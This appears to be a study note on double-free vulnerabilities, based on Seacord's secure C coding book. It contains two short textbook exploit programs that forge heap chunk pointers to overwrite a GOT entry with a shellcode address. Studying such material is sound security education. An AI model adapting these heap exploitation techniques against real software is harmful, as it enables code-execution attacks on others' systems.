Intro to double-free
Chapter 4 - Dynamic Memory Management(4.7)
- Book by Robert C. Seacord
Double-Free Vulnerabilities
This vulnerability arises from freeing the same chunk of memory twice (using free()
), without it being reallocated in between.
For a double-free exploit to be successful, two conditions must be met:
- The chunk to be freed must be isolated in memory.
- The bin into which the chunk is to be placed must be empty.
A chunk can be forged to fool the operating system to modify the memory.
Chunk format:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; // If the previous chunk is free, it stores the size
INTERNAL_SIZE_T size; // Chunk size including the Head
struct malloc_chunk * fd;
struct malloc_chunk * bk;
}
The last 3 bits of prev_size
represents:
- PREV_INUSE (P): whether the previous chunk is in use
- IS_MMAPPED (M): whether using mmap to distribute
- NON_MAIN_ARENA (N): whether belong to main arena
unlink(p, BK, FD)
function can be utilized to forge chunk.
C: If after free()
function, the pointer is not NULL, it is possible to lead to double free vulnerability.
Frontlink
01 BK = bin;
02 FD = BK->fd;
03 if (FD != BK) {
04 while (FD != BK && S < chunksize(FD)) {
05 FD = FD->fd;
06 }
07 BK = FD->bk;
08 }
09 P->bk = BK;
10 P->fd = FD;
11 FD->bk = BK->fd = P;
Double-Free Exploit Code
01 static char *GOT_LOCATION = (char *)0x0804c98c;
02 static char shellcode[] =
03 "\xeb\x0cjump12chars_" /* jump */
04 "\x90\x90\x90\x90\x90\x90\x90\x90";
05 int main(void) {
06 int size = sizeof(shellcode);
07 char *shellcode_location;
08 char *first, *second, *third, *fourth;
09 char *fifth, *sixth, *seventh;
10 shellcode_location = malloc(size);
11 strcpy(shellcode_location, shellcode);
12 first = malloc(256);
13 second = malloc(256);
14 third = malloc(256);
15 fourth = malloc(256);
16 free(first); // cache bin
17 free(third); // put first to regular bin
18 fifth = malloc(128);
19 free(first); // double-free
20 sixth = malloc(256);
21 *((char **)(sixth+0)) = GOT_LOCATION-12;
22 *((char **)(sixth+4)) = shellcode_location;
23 seventh = malloc(256);
24 strcpy(fifth, "something");
25 return 0;
26 }
Overwriting Freed Memory Exploit
01 static char *GOT_LOCATION = (char *)0x0804c98c;
02 static char shellcode[] =
03 "\xeb\x0cjump12chars_" /* jump */
04 "\x90\x90\x90\x90\x90\x90\x90\x90";
05 int main(void){
06 int size = sizeof(shellcode);
07 char *shellcode_location;
08 char *first,*second,*third,*fourth,*fifth,*sixth;
09 shellcode_location = malloc(size);
10 strcpy(shellcode_location, shellcode);
11 first = malloc(256);
12 second = malloc(256);
13 third = malloc(256);
14 fourth = malloc(256);
15 free(first);
16 free(third);
17 fifth = malloc(128); // sets up initial conditions
18 *((char **)(first+0)) = GOT_LOCATION - 12;
19 *((char **)(first+4)) = shellcode_location;
20 sixth = malloc(256);
21 strcpy(fifth, "something");
22 return 0;
23 }
RtlHeap
- Virtual Memory API
- Heap Memory API
- Local, Global Memory API
- CRT Memory Functions
- Memory-Mapped File API
- RtlHeap Data Structures
- Process Environment Block
- Free Lists
- Look-Aside Lists
- Memory Chunks
- Buffer Overflows
CWE
- CWE-415
- CWE-416
Related CVE
- CVE-2009-1544 - Arbitrary Code Execution
- CVE-2008-0882 - DoS
- CVE-2016-5768 - Arbitrary Code Execution / DoS
Happy New Year…
Reference
- Security Coding in C and C++. by Robert C. Seacord. Chapter 4. ISBN-13: 978-0-321-82213-0
- What will happen if a pointer is freed twice